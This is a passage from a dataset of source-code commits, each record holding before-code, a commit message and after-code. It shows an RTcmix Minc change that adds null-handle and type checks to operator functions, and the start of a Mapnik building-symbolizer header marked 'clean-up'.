\"getMutexName: failed to retrieve re cache salt from server_properties\\n%s\", ret.result().c_str() );\n return PASS( ret );\n }\n\n getResourceName( mutex_name, mutex_name_salt.c_str() );\n mutex_name = \"re_cache_mutex_\" + mutex_name;\n\n return SUCCESS();\n}\n<|endoftext|>"} {"text":"<commit_before>\/* RTcmix - Copyright (C) 2004 The RTcmix Development Team\n See ``AUTHORS'' for a list of contributors. See ``LICENSE'' for\n the license to this software and for a DISCLAIMER OF ALL WARRANTIES.\n*\/\n#include <stdlib.h>\n#include <assert.h>\n#include <math.h>\n#include <RTcmix.h>\n#include \"minc_internal.h\"\n#include \"MincValue.h\"\n#include <handle.h>\n#include <rtcmix_types.h>\n#include <prototypes.h>\n#include <PField.h>\n\nstatic Arg * minc_list_to_arglist(const char *funcname, const MincValue *inList, const int inListLen, Arg *inArgs, int *pNumArgs)\n{\n\tint oldNumArgs = *pNumArgs;\n\tint n = 0, newNumArgs = oldNumArgs + inListLen;\n\t\/\/ Create expanded array\n\tArg *newArgs = new Arg[newNumArgs];\n\tif (newArgs == NULL)\n\t\treturn NULL;\n\tif (inArgs != NULL) {\n\t\t\/\/ Copy existing args to new array\n\t\tfor (; n < oldNumArgs; ++n) {\n\t\t\tnewArgs[n] = inArgs[n];\n\t\t}\n\t}\n\tfor (int i = 0; n < newNumArgs; ++i, ++n) {\n\t\tswitch (inList[i].dataType()) {\n\t\t\tcase MincVoidType:\n\t\t\t\tminc_die(\"call_external_function: %s(): invalid argument type\", funcname);\n\t\t\t\tdelete [] newArgs;\n\t\t\t\treturn NULL;\n\t\t\tcase MincFloatType:\n\t\t\t\tnewArgs[n] = (MincFloat) inList[i];\n\t\t\t\tbreak;\n\t\t\tcase MincStringType:\n\t\t\t\tnewArgs[n] = (MincString)inList[i];\n\t\t\t\tbreak;\n\t\t\tcase MincHandleType:\n\t\t\t\tnewArgs[n] = (Handle) (MincHandle)inList[i];\n\t\t\t\tbreak;\n\t\t\tcase MincListType:\n\t\t\t\tif ((MincList *)inList[i] == NULL) {\n\t\t\t\t\tminc_die(\"can't pass a null list (arg %d) to RTcmix function %s()\", n, funcname);\n\t\t\t\t\treturn NULL;\n\t\t\t\t}\n\t\t\t\tif (((MincList *)inList[i])->len <= 0) {\n\t\t\t\t\tminc_die(\"can't pass an empty list (arg %d) to RTcmix function %s()\", n, funcname);\n\t\t\t\t\tdelete [] newArgs;\n\t\t\t\t\treturn NULL;\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\tminc_die(\"for now, no nested lists can be passed to RTcmix function %s()\", funcname);\n\t\t\t\t\tdelete [] newArgs;\n\t\t\t\t\treturn NULL;\n\t\t\t\t}\n break;\n case MincMapType:\n minc_die(\"for now, maps cannot be passed to RTcmix function %s()\", funcname);\n delete [] newArgs;\n return NULL;\n case MincStructType:\n minc_die(\"for now, structs cannot be passed to RTcmix function %s()\", funcname);\n delete [] newArgs;\n return NULL;\n\t\t}\n\t}\n\t*pNumArgs = newNumArgs;\n\treturn newArgs;\n}\n\nint\ncall_external_function(const char *funcname, const MincValue arglist[],\n\tconst int nargs, MincValue *return_value)\n{\n\tint result, numArgs = nargs;\n\tArg retval;\n\n\tArg *rtcmixargs = new Arg[nargs];\n\tif (rtcmixargs == NULL)\n\t\treturn MEMORY_ERROR;\n\n\t\/\/ Convert arglist for passing to RTcmix function.\n\tfor (int i = 0; i < nargs; i++) {\n\t\tswitch (arglist[i].dataType()) {\n\t\tcase MincFloatType:\n\t\t\trtcmixargs[i] = (MincFloat)arglist[i];\n\t\t\tbreak;\n\t\tcase MincStringType:\n\t\t\trtcmixargs[i] = (MincString)arglist[i];\n\t\t\tbreak;\n\t\tcase MincHandleType:\n\t\t\trtcmixargs[i] = (Handle) (MincHandle)arglist[i];\n#ifdef EMBEDDED\n\t\t\tif ((Handle)rtcmixargs[i] == NULL) {\n\t\t\t\tminc_die(\"can't pass a null handle (arg %d) to RTcmix function %s()\", i, funcname);\n\t\t\t\treturn PARAM_ERROR;\n\t\t\t}\n#endif\n\t\t\tbreak;\n\t\tcase MincListType:\n\t\t\t{\n\t\t\tMincList *list = (MincList *)arglist[i];\n\t\t\tif (list == NULL) {\n\t\t\t\tminc_die(\"can't pass a null list (arg %d) to RTcmix function %s()\", i, funcname);\n\t\t\t\treturn PARAM_ERROR;\n\t\t\t}\n\t\t\tif (list->len <= 0) {\n\t\t\t\tminc_die(\"can't pass an empty list (arg %d) to RTcmix function %s()\", i, funcname);\n\t\t\t\treturn PARAM_ERROR;\n\t\t\t}\n\t\t\t\/\/ If list is final argument to function, treat its contents as additional function arguments\n\t\t\tif (i == nargs-1) {\n\t\t\t\tint argCount = i;\n\t\t\t\tArg *newargs = minc_list_to_arglist(funcname, list->data, list->len, rtcmixargs, &argCount);\n\t\t\t\tdelete [] rtcmixargs;\n\t\t\t\tif (newargs == NULL)\n\t\t\t\t\treturn PARAM_ERROR;\n\t\t\t\trtcmixargs = newargs;\n\t\t\t\tnumArgs = argCount;\n\t\t\t}\n\t\t\t\/\/ If list contains only floats, convert and pass it along.\n\t\t\telse {\n\t\t\t\tArray *newarray = (Array *) emalloc(sizeof(Array));\n\t\t\t\tif (newarray == NULL)\n\t\t\t\t\treturn MEMORY_ERROR;\n\t\t\t\tassert(sizeof(*newarray->data) == sizeof(double));\t\/\/ because we cast MincFloat to double here\n\t\t\t\tnewarray->data = (double *) float_list_to_array(list);\n\t\t\t\tif (newarray->data != NULL) {\n\t\t\t\t\tnewarray->len = list->len;\n\t\t\t\t\trtcmixargs[i] = newarray;\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\tminc_die(\"can't pass a mixed-type list (arg %d) to RTcmix function %s()\", i, funcname);\n\t\t\t\t\tfree(newarray);\n\t\t\t\t\treturn PARAM_ERROR;\n\t\t\t\t}\n\t\t\t}\n\t\t\t}\n\t\t\tbreak;\n case MincMapType:\n minc_die(\"%s(): arg %d: maps not supported as function arguments\", funcname, i);\n return PARAM_ERROR;\n break;\n case MincStructType:\n minc_die(\"%s(): arg %d: structs not supported as function arguments\", funcname, i);\n return PARAM_ERROR;\n break;\n\t\tdefault:\n\t\t\tminc_die(\"%s(): arg %d: invalid argument type\", funcname, i);\n\t\t\treturn PARAM_ERROR;\n\t\t\tbreak;\n\t\t}\n\t}\n\n\tresult = RTcmix::dispatch(funcname, rtcmixargs, numArgs, &retval);\n \n\t\/\/ Convert return value from RTcmix function.\n\tswitch (retval.type()) {\n\tcase DoubleType:\n\t\t*return_value = (MincFloat) retval;\n\t\tbreak;\n\tcase StringType:\n\t\t*return_value = (MincString) retval;\n\t\tbreak;\n\tcase HandleType:\n\t\t*return_value = (MincHandle) (Handle) retval;\n\t\tbreak;\n\tcase ArrayType:\n#ifdef NOMORE\n\/\/ don't think functions will return non-opaque arrays to Minc, but if they do,\n\/\/ these should be converted to MincListType\n\t\treturn_value->type = MincArrayType;\n\t\t{\n\t\t\tArray *array = (Array *) retval;\n\t\t\treturn_value->val.array.len = array->len;\n\t\t\treturn_value->val.array.data = array->data;\n\t\t}\n#endif\n\t\tbreak;\n\tdefault:\n\t\tbreak;\n\t}\n\n\tdelete [] rtcmixargs;\n\n\treturn result;\n}\n\nvoid printargs(const char *funcname, const Arg arglist[], const int nargs)\n{\n\tRTcmix::printargs(funcname, arglist, nargs);\n}\n\nstatic Handle _createPFieldHandle(PField *pfield)\n{\n\tHandle handle = (Handle) malloc(sizeof(struct _handle));\n\thandle->type = PFieldType;\n\thandle->ptr = (void *) pfield;\n\tpfield->ref();\n\thandle->refcount = 0;\n\treturn handle;\n}\n\nstatic double plus_binop(double x, double y)\n{\n\treturn x + y;\n}\nstatic double minus_binop(double x, double y)\n{\n\treturn x - y;\n}\nstatic double mult_binop(double x, double y)\n{\n\treturn x * y;\n}\nstatic double divide_binop(double x, double y)\n{\n\treturn (y != 0.0) ? x \/ y : 999999999999999999.9;\n}\nstatic double mod_binop(double x, double y)\n{\n\treturn (int) x % (int) y;\n}\nstatic double pow_binop(double x, double y)\n{\n\treturn pow(x, y);\n}\n\nPField *createBinopPField(PField *pfield1, PField *pfield2, OpKind op)\n{\n\tPFieldBinaryOperator::Operator binop = NULL;\n\n\t\/\/ Create appropriate binary operator PField\n\t\n\tswitch (op) {\n\tcase OpPlus:\n\t\tbinop = plus_binop;\n\t\tbreak;\n\tcase OpMinus:\n\t\tbinop = minus_binop;\n\t\tbreak;\n\tcase OpMul:\n\t\tbinop = mult_binop;\n\t\tbreak;\n\tcase OpDiv:\n\t\tbinop = divide_binop;\n\t\tbreak;\n\tcase OpMod:\n\t\tbinop = mod_binop;\n\t\tbreak;\n\tcase OpPow:\n\t\tbinop = pow_binop;\n\t\tbreak;\n\tcase OpNeg:\n\tdefault:\n\t\tminc_internal_error(\"invalid binary handle operator\");\n\t\treturn NULL;\n\t}\n\n\t\/\/ create new Binop PField, return it cast to MincHandle\n\n\treturn new PFieldBinaryOperator(pfield1, pfield2, binop);\n}\n\nMincHandle minc_binop_handle_float(const MincHandle mhandle,\n\tconst MincFloat val, OpKind op)\n{\n\tDPRINT(\"minc_binop_handle_float (handle=%p, val=%f\\n\", mhandle, val);\n\n\t\/\/ Extract PField from MincHandle.\n\tHandle handle = (Handle) mhandle;\n\tassert(handle->type == PFieldType);\n\tPField *pfield1 = (PField *) handle->ptr;\n\n\t\/\/ Create ConstPField for MincFloat.\n\tPField *pfield2 = new ConstPField(val);\n\n\t\/\/ Create PField using appropriate operator.\n\tPField *outpfield = createBinopPField(pfield1, pfield2, op);\n\n\treturn (MincHandle) _createPFieldHandle(outpfield);\n}\n\nMincHandle minc_binop_float_handle(const MincFloat val,\n\tconst MincHandle mhandle, OpKind op)\n{\n\tDPRINT(\"minc_binop_float_handle (val=%f, handle=%p\\n\", val, mhandle);\n\n\t\/\/ Create ConstPField for MincFloat.\n\tPField *pfield1 = new ConstPField(val);\n\n\t\/\/ Extract PField from MincHandle.\n\tHandle handle = (Handle) mhandle;\n\tassert(handle->type == PFieldType);\n\tPField *pfield2 = (PField *) handle->ptr;\n\n\t\/\/ Create PField using appropriate operator.\n\tPField *outpfield = createBinopPField(pfield1, pfield2, op);\n\n\treturn (MincHandle) _createPFieldHandle(outpfield);\n}\n\nMincHandle minc_binop_handles(const MincHandle mhandle1,\n\tconst MincHandle mhandle2, OpKind op)\n{\n\tDPRINT(\"minc_binop_handles (handle1=%p, handle2=%p\\n\", mhandle1, mhandle2);\n\n\t\/\/ Extract PFields from MincHandles\n\n\tHandle handle1 = (Handle) mhandle1;\n\tHandle handle2 = (Handle) mhandle2;\n\tassert(handle1->type == PFieldType);\n\tassert(handle2->type == PFieldType);\n\tPField *pfield1 = (PField *) handle1->ptr;\n\tPField *pfield2 = (PField *) handle2->ptr;\n\tPField *opfield = createBinopPField(pfield1, pfield2, op);\n\n\t\/\/ create Handle for new PField, return it cast to MincHandle\n\n\treturn (MincHandle) _createPFieldHandle(opfield);\n}\n\n<commit_msg>handle operator functions redone to 1) not crash with null handles and 2) not assert when wrong type of handle given to pfield code.<commit_after>\/* RTcmix - Copyright (C) 2004 The RTcmix Development Team\n See ``AUTHORS'' for a list of contributors. See ``LICENSE'' for\n the license to this software and for a DISCLAIMER OF ALL WARRANTIES.\n*\/\n#include <stdlib.h>\n#include <assert.h>\n#include <math.h>\n#include <RTcmix.h>\n#include \"minc_internal.h\"\n#include \"MincValue.h\"\n#include <handle.h>\n#include <rtcmix_types.h>\n#include <prototypes.h>\n#include <PField.h>\n\nstatic Arg * minc_list_to_arglist(const char *funcname, const MincValue *inList, const int inListLen, Arg *inArgs, int *pNumArgs)\n{\n\tint oldNumArgs = *pNumArgs;\n\tint n = 0, newNumArgs = oldNumArgs + inListLen;\n\t\/\/ Create expanded array\n\tArg *newArgs = new Arg[newNumArgs];\n\tif (newArgs == NULL)\n\t\treturn NULL;\n\tif (inArgs != NULL) {\n\t\t\/\/ Copy existing args to new array\n\t\tfor (; n < oldNumArgs; ++n) {\n\t\t\tnewArgs[n] = inArgs[n];\n\t\t}\n\t}\n\tfor (int i = 0; n < newNumArgs; ++i, ++n) {\n\t\tswitch (inList[i].dataType()) {\n\t\t\tcase MincVoidType:\n\t\t\t\tminc_die(\"call_external_function: %s(): invalid argument type\", funcname);\n\t\t\t\tdelete [] newArgs;\n\t\t\t\treturn NULL;\n\t\t\tcase MincFloatType:\n\t\t\t\tnewArgs[n] = (MincFloat) inList[i];\n\t\t\t\tbreak;\n\t\t\tcase MincStringType:\n\t\t\t\tnewArgs[n] = (MincString)inList[i];\n\t\t\t\tbreak;\n\t\t\tcase MincHandleType:\n\t\t\t\tnewArgs[n] = (Handle) (MincHandle)inList[i];\n\t\t\t\tbreak;\n\t\t\tcase MincListType:\n\t\t\t\tif ((MincList *)inList[i] == NULL) {\n\t\t\t\t\tminc_die(\"can't pass a null list (arg %d) to RTcmix function %s()\", n, funcname);\n\t\t\t\t\treturn NULL;\n\t\t\t\t}\n\t\t\t\tif (((MincList *)inList[i])->len <= 0) {\n\t\t\t\t\tminc_die(\"can't pass an empty list (arg %d) to RTcmix function %s()\", n, funcname);\n\t\t\t\t\tdelete [] newArgs;\n\t\t\t\t\treturn NULL;\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\tminc_die(\"for now, no nested lists can be passed to RTcmix function %s()\", funcname);\n\t\t\t\t\tdelete [] newArgs;\n\t\t\t\t\treturn NULL;\n\t\t\t\t}\n break;\n case MincMapType:\n minc_die(\"for now, maps cannot be passed to RTcmix function %s()\", funcname);\n delete [] newArgs;\n return NULL;\n case MincStructType:\n minc_die(\"for now, structs cannot be passed to RTcmix function %s()\", funcname);\n delete [] newArgs;\n return NULL;\n\t\t}\n\t}\n\t*pNumArgs = newNumArgs;\n\treturn newArgs;\n}\n\nint\ncall_external_function(const char *funcname, const MincValue arglist[],\n\tconst int nargs, MincValue *return_value)\n{\n\tint result, numArgs = nargs;\n\tArg retval;\n\n\tArg *rtcmixargs = new Arg[nargs];\n\tif (rtcmixargs == NULL)\n\t\treturn MEMORY_ERROR;\n\n\t\/\/ Convert arglist for passing to RTcmix function.\n\tfor (int i = 0; i < nargs; i++) {\n\t\tswitch (arglist[i].dataType()) {\n\t\tcase MincFloatType:\n\t\t\trtcmixargs[i] = (MincFloat)arglist[i];\n\t\t\tbreak;\n\t\tcase MincStringType:\n\t\t\trtcmixargs[i] = (MincString)arglist[i];\n\t\t\tbreak;\n\t\tcase MincHandleType:\n\t\t\trtcmixargs[i] = (Handle) (MincHandle)arglist[i];\n#ifdef EMBEDDED\n\t\t\tif ((Handle)rtcmixargs[i] == NULL) {\n\t\t\t\tminc_die(\"can't pass a null handle (arg %d) to RTcmix function %s()\", i, funcname);\n\t\t\t\treturn PARAM_ERROR;\n\t\t\t}\n#endif\n\t\t\tbreak;\n\t\tcase MincListType:\n\t\t\t{\n\t\t\tMincList *list = (MincList *)arglist[i];\n\t\t\tif (list == NULL) {\n\t\t\t\tminc_die(\"can't pass a null list (arg %d) to RTcmix function %s()\", i, funcname);\n\t\t\t\treturn PARAM_ERROR;\n\t\t\t}\n\t\t\tif (list->len <= 0) {\n\t\t\t\tminc_die(\"can't pass an empty list (arg %d) to RTcmix function %s()\", i, funcname);\n\t\t\t\treturn PARAM_ERROR;\n\t\t\t}\n\t\t\t\/\/ If list is final argument to function, treat its contents as additional function arguments\n\t\t\tif (i == nargs-1) {\n\t\t\t\tint argCount = i;\n\t\t\t\tArg *newargs = minc_list_to_arglist(funcname, list->data, list->len, rtcmixargs, &argCount);\n\t\t\t\tdelete [] rtcmixargs;\n\t\t\t\tif (newargs == NULL)\n\t\t\t\t\treturn PARAM_ERROR;\n\t\t\t\trtcmixargs = newargs;\n\t\t\t\tnumArgs = argCount;\n\t\t\t}\n\t\t\t\/\/ If list contains only floats, convert and pass it along.\n\t\t\telse {\n\t\t\t\tArray *newarray = (Array *) emalloc(sizeof(Array));\n\t\t\t\tif (newarray == NULL)\n\t\t\t\t\treturn MEMORY_ERROR;\n\t\t\t\tassert(sizeof(*newarray->data) == sizeof(double));\t\/\/ because we cast MincFloat to double here\n\t\t\t\tnewarray->data = (double *) float_list_to_array(list);\n\t\t\t\tif (newarray->data != NULL) {\n\t\t\t\t\tnewarray->len = list->len;\n\t\t\t\t\trtcmixargs[i] = newarray;\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\tminc_die(\"can't pass a mixed-type list (arg %d) to RTcmix function %s()\", i, funcname);\n\t\t\t\t\tfree(newarray);\n\t\t\t\t\treturn PARAM_ERROR;\n\t\t\t\t}\n\t\t\t}\n\t\t\t}\n\t\t\tbreak;\n case MincMapType:\n minc_die(\"%s(): arg %d: maps not supported as function arguments\", funcname, i);\n return PARAM_ERROR;\n break;\n case MincStructType:\n minc_die(\"%s(): arg %d: structs not supported as function arguments\", funcname, i);\n return PARAM_ERROR;\n break;\n\t\tdefault:\n\t\t\tminc_die(\"%s(): arg %d: invalid argument type\", funcname, i);\n\t\t\treturn PARAM_ERROR;\n\t\t\tbreak;\n\t\t}\n\t}\n\n\tresult = RTcmix::dispatch(funcname, rtcmixargs, numArgs, &retval);\n \n\t\/\/ Convert return value from RTcmix function.\n\tswitch (retval.type()) {\n\tcase DoubleType:\n\t\t*return_value = (MincFloat) retval;\n\t\tbreak;\n\tcase StringType:\n\t\t*return_value = (MincString) retval;\n\t\tbreak;\n\tcase HandleType:\n\t\t*return_value = (MincHandle) (Handle) retval;\n\t\tbreak;\n\tcase ArrayType:\n#ifdef NOMORE\n\/\/ don't think functions will return non-opaque arrays to Minc, but if they do,\n\/\/ these should be converted to MincListType\n\t\treturn_value->type = MincArrayType;\n\t\t{\n\t\t\tArray *array = (Array *) retval;\n\t\t\treturn_value->val.array.len = array->len;\n\t\t\treturn_value->val.array.data = array->data;\n\t\t}\n#endif\n\t\tbreak;\n\tdefault:\n\t\tbreak;\n\t}\n\n\tdelete [] rtcmixargs;\n\n\treturn result;\n}\n\nvoid printargs(const char *funcname, const Arg arglist[], const int nargs)\n{\n\tRTcmix::printargs(funcname, arglist, nargs);\n}\n\nstatic Handle _createPFieldHandle(PField *pfield)\n{\n\tHandle handle = (Handle) malloc(sizeof(struct _handle));\n\thandle->type = PFieldType;\n\thandle->ptr = (void *) pfield;\n\tpfield->ref();\n\thandle->refcount = 0;\n\treturn handle;\n}\n\nstatic double plus_binop(double x, double y)\n{\n\treturn x + y;\n}\nstatic double minus_binop(double x, double y)\n{\n\treturn x - y;\n}\nstatic double mult_binop(double x, double y)\n{\n\treturn x * y;\n}\nstatic double divide_binop(double x, double y)\n{\n\treturn (y != 0.0) ? x \/ y : 999999999999999999.9;\n}\nstatic double mod_binop(double x, double y)\n{\n\treturn (int) x % (int) y;\n}\nstatic double pow_binop(double x, double y)\n{\n\treturn pow(x, y);\n}\n\nPField *createBinopPField(PField *pfield1, PField *pfield2, OpKind op)\n{\n\tPFieldBinaryOperator::Operator binop = NULL;\n\n\t\/\/ Create appropriate binary operator PField\n\t\n\tswitch (op) {\n\tcase OpPlus:\n\t\tbinop = plus_binop;\n\t\tbreak;\n\tcase OpMinus:\n\t\tbinop = minus_binop;\n\t\tbreak;\n\tcase OpMul:\n\t\tbinop = mult_binop;\n\t\tbreak;\n\tcase OpDiv:\n\t\tbinop = divide_binop;\n\t\tbreak;\n\tcase OpMod:\n\t\tbinop = mod_binop;\n\t\tbreak;\n\tcase OpPow:\n\t\tbinop = pow_binop;\n\t\tbreak;\n\tcase OpNeg:\n\tdefault:\n\t\tminc_internal_error(\"invalid binary handle operator\");\n\t\treturn NULL;\n\t}\n\n\t\/\/ create new Binop PField, return it cast to MincHandle\n\n\treturn new PFieldBinaryOperator(pfield1, pfield2, binop);\n}\n\nMincHandle minc_binop_handle_float(const MincHandle mhandle,\n\tconst MincFloat val, OpKind op)\n{\n\tDPRINT(\"minc_binop_handle_float (handle=%p, val=%f\\n\", mhandle, val);\n\n if (mhandle == NULL) {\n minc_warn(\"Null handle in binary operation\");\n return (MincHandle)0;\n }\n\t\/\/ Extract PField from MincHandle.\n\tHandle handle = (Handle) mhandle;\n if (handle->type != PFieldType) {\n minc_die(\"Illegal handle type for this operation\");\n return (MincHandle)0;\n }\n\tPField *pfield1 = (PField *) handle->ptr;\n\n\t\/\/ Create ConstPField for MincFloat.\n\tPField *pfield2 = new ConstPField(val);\n\n\t\/\/ Create PField using appropriate operator.\n\tPField *outpfield = createBinopPField(pfield1, pfield2, op);\n\n\treturn (MincHandle) _createPFieldHandle(outpfield);\n}\n\nMincHandle minc_binop_float_handle(const MincFloat val,\n\tconst MincHandle mhandle, OpKind op)\n{\n\tDPRINT(\"minc_binop_float_handle (val=%f, handle=%p\\n\", val, mhandle);\n\n if (mhandle == NULL) {\n minc_warn(\"Null handle in binary operation\");\n return (MincHandle)0;\n }\n\n \/\/ Create ConstPField for MincFloat.\n\tPField *pfield1 = new ConstPField(val);\n\n\t\/\/ Extract PField from MincHandle.\n\tHandle handle = (Handle) mhandle;\n if (handle->type != PFieldType) {\n minc_die(\"Illegal handle type for this operation\");\n return (MincHandle)0;\n }\n\tPField *pfield2 = (PField *) handle->ptr;\n\n\t\/\/ Create PField using appropriate operator.\n\tPField *outpfield = createBinopPField(pfield1, pfield2, op);\n\n\treturn (MincHandle) _createPFieldHandle(outpfield);\n}\n\nMincHandle minc_binop_handles(const MincHandle mhandle1,\n\tconst MincHandle mhandle2, OpKind op)\n{\n\tDPRINT(\"minc_binop_handles (handle1=%p, handle2=%p\\n\", mhandle1, mhandle2);\n\n if (mhandle1 == NULL || mhandle2 == NULL) {\n minc_warn(\"Null handle(s) in binary operation\");\n return (MincHandle)0;\n }\n\t\/\/ Extract PFields from MincHandles\n\n\tHandle handle1 = (Handle) mhandle1;\n\tHandle handle2 = (Handle) mhandle2;\n if (handle1->type != PFieldType || handle2->type != PFieldType) {\n minc_die(\"Illegal handle type(s) for this operation\");\n return (MincHandle)0;\n }\n\tPField *pfield1 = (PField *) handle1->ptr;\n\tPField *pfield2 = (PField *) handle2->ptr;\n\tPField *opfield = createBinopPField(pfield1, pfield2, op);\n\n\t\/\/ create Handle for new PField, return it cast to MincHandle\n\n\treturn (MincHandle) _createPFieldHandle(opfield);\n}\n\n<|endoftext|>"} {"text":"<commit_before>\/*****************************************************************************\n *\n * This file is part of Mapnik (c++ mapping toolkit)\n *\n * Copyright (C) 2015 Artem Pavlenko\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA\n *\n *****************************************************************************\/\n\n#ifndef MAPNIK_RENDERER_COMMON_PROCESS_BUILDING_SYMBOLIZER_HPP\n#define MAPNIK_RENDERER_COMMON_PROCESS_BUILDING_SYMBOLIZER_HPP\n\n#include <mapnik\/segment.hpp>\n#include <mapnik\/feature.hpp>\n#include <mapnik\/vertex_adapters.hpp>\n#include <mapnik\/path.hpp>\n#include <mapnik\/util\/math.hpp>\n#include <mapnik\/transform_path_adapter.hpp>\n\n#include <algorithm>\n#include <deque>\n\n#pragma GCC diagnostic push\n#include <mapnik\/warning_ignore_agg.hpp>\n#include \"agg_conv_contour.h\"\n#pragma GCC diagnostic pop\n\nnamespace mapnik {\n\nstruct render_building_symbolizer\n{\n using vertex_adapter_type = geometry::polygon_vertex_adapter<double>;\n using transform_path_type = transform_path_adapter<view_transform, vertex_adapter_type>;\n \/\/using roof_type = agg::conv_transform<transform_path_type>;\n\n template <typename F1, typename F2, typename F3, typename F4>\n static void apply(feature_impl const& feature,\n proj_transform const& prj_trans,\n view_transform const& view_trans,\n double height,\n double shadow_angle,\n double shadow_length,\n F1 const & face_func,\n F2 const & frame_func,\n F3 const & roof_func,\n F4 const & shadow_func)\n {\n auto const& geom = feature.get_geometry();\n if (geom.is<geometry::polygon<double>>())\n {\n auto const& poly = geom.get<geometry::polygon<double>>();\n vertex_adapter_type va(poly);\n transform_path_type transformed(view_trans, va, prj_trans);\n make_building(transformed, height, shadow_angle, shadow_length,\n face_func, frame_func, roof_func, shadow_func);\n }\n else if (geom.is<geometry::multi_polygon<double>>())\n {\n auto const& multi_poly = geom.get<geometry::multi_polygon<double>>();\n for (auto const& poly : multi_poly)\n {\n vertex_adapter_type va(poly);\n transform_path_type transformed(view_trans, va, prj_trans);\n make_building(transformed, height, shadow_angle, shadow_length,\n face_func, frame_func, roof_func, shadow_func);\n }\n }\n }\n\nprivate:\n template <typename GeomVertexAdapter, typename F1, typename F2, typename F3, typename F4>\n static void make_building(GeomVertexAdapter & geom,\n double height,\n double shadow_angle,\n double shadow_length,\n F1 const& face_func,\n F2 const& frame_func,\n F3 const& roof_func,\n F4 const& shadow_func)\n {\n path_type frame(path_type::types::LineString);\n path_type roof(path_type::types::Polygon);\n std::deque<segment_t> face_segments;\n double ring_begin_x, ring_begin_y;\n double x0 = 0;\n double y0 = 0;\n double x,y;\n geom.rewind(0);\n for (unsigned cm = geom.vertex(&x, &y); cm != SEG_END;\n cm = geom.vertex(&x, &y))\n {\n if (cm == SEG_MOVETO)\n {\n frame.move_to(x,y);\n ring_begin_x = x;\n ring_begin_y = y;\n }\n else if (cm == SEG_LINETO)\n {\n frame.line_to(x,y);\n face_segments.emplace_back(x0,y0,x,y);\n }\n else if (cm == SEG_CLOSE)\n {\n frame.close_path();\n if (!face_segments.empty())\n {\n face_segments.emplace_back(x0, y0, ring_begin_x, ring_begin_y);\n }\n }\n x0 = x;\n y0 = y;\n }\n\n if (shadow_length > 0)\n {\n shadow_angle = util::normalize_angle(shadow_angle * (M_PI \/ 180.0));\n for (auto const& seg : face_segments)\n {\n double dx = std::get<2>(seg) - std::get<0>(seg);\n double dy = std::get<3>(seg) - std::get<1>(seg);\n double seg_normal_angle = std::atan2(-dx, -dy);\n\n double angle_diff = std::abs(seg_normal_angle - shadow_angle);\n double min_angle_diff = std::min((2 * M_PI) - angle_diff, angle_diff);\n\n if (min_angle_diff <= (M_PI \/ 2.0))\n {\n path_type shadow(path_type::types::Polygon);\n shadow.move_to(std::get<0>(seg), std::get<1>(seg));\n shadow.line_to(std::get<2>(seg), std::get<3>(seg));\n shadow.line_to(std::get<2>(seg) + shadow_length * std::cos(shadow_angle),\n std::get<3>(seg) - shadow_length * std::sin(shadow_angle));\n shadow.line_to(std::get<0>(seg) + shadow_length * std::cos(shadow_angle),\n std::get<1>(seg) - shadow_length * std::sin(shadow_angle));\n shadow_func(shadow);\n }\n }\n }\n\n for (auto const& seg : face_segments)\n {\n path_type faces(path_type::types::Polygon);\n faces.move_to(std::get<0>(seg),std::get<1>(seg));\n faces.line_to(std::get<2>(seg),std::get<3>(seg));\n faces.line_to(std::get<2>(seg),std::get<3>(seg) - height);\n faces.line_to(std::get<0>(seg),std::get<1>(seg) - height);\n\n face_func(faces);\n\n frame.move_to(std::get<0>(seg),std::get<1>(seg));\n frame.line_to(std::get<0>(seg),std::get<1>(seg) - height);\n }\n\n geom.rewind(0);\n for (unsigned cm = geom.vertex(&x, &y); cm != SEG_END;\n cm = geom.vertex(&x, &y))\n {\n if (cm == SEG_MOVETO)\n {\n frame.move_to(x,y - height);\n roof.move_to(x,y - height);\n }\n else if (cm == SEG_LINETO)\n {\n frame.line_to(x,y - height);\n roof.line_to(x,y - height);\n }\n else if (cm == SEG_CLOSE)\n {\n frame.close_path();\n roof.close_path();\n }\n }\n\n frame_func(frame);\n roof_func(roof);\n }\n};\n\n} \/\/ namespace mapnik\n\n#endif \/\/ MAPNIK_RENDERER_COMMON_PROCESS_BUILDING_SYMBOLIZER_HPP\n<commit_msg>clean-up<commit_after>\/*****************************************************************************\n *\n * This file is part of Mapnik (c++ mapping toolkit)\n *\n * Copyright (C) 2015 Artem Pavlenko\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA\n *\n *****************************************************************************\/\n\n#ifndef MAPNIK_RENDERER_COMMON_PROCESS_BUILDING_SYMBOLIZER_HPP\n#define MAPNIK_RENDERER_COMMON_PROCESS_BUILDING_SYMBOLIZER_HPP\n\n#include <mapnik\/segment.hpp>\n#include <mapnik\/feature.hpp>\n#include <mapnik\/vertex_adapters.hpp>\n#include <mapnik\/path.hpp>\n#include <mapnik\/util\/math.hpp>\n#include <mapnik\/transform_path_adapter.hpp>\n\n#include <algorithm>\n#include <deque>\n\n#pragma GCC diagnostic push\n#include <mapnik\/warning_ignore_agg.hpp>\n#include \"agg_conv_contour.h\"\n#pragma GCC diagnostic pop\n\nnamespace mapnik {\n\nstruct render_building_symbolizer\n{\n using vertex_adapter_type = geometry::polygon_vertex_adapter<double>;\n using transform_path_type = transform_path_adapter<view_transform, vertex_adapter_type>;\n\n template <typename F1, typename F2, typename F3, typename F4>\n static void apply(feature_impl const& feature,\n proj_transform const& prj_trans,\n view_transform const& view_trans,\n double height,\n double shadow_angle,\n double 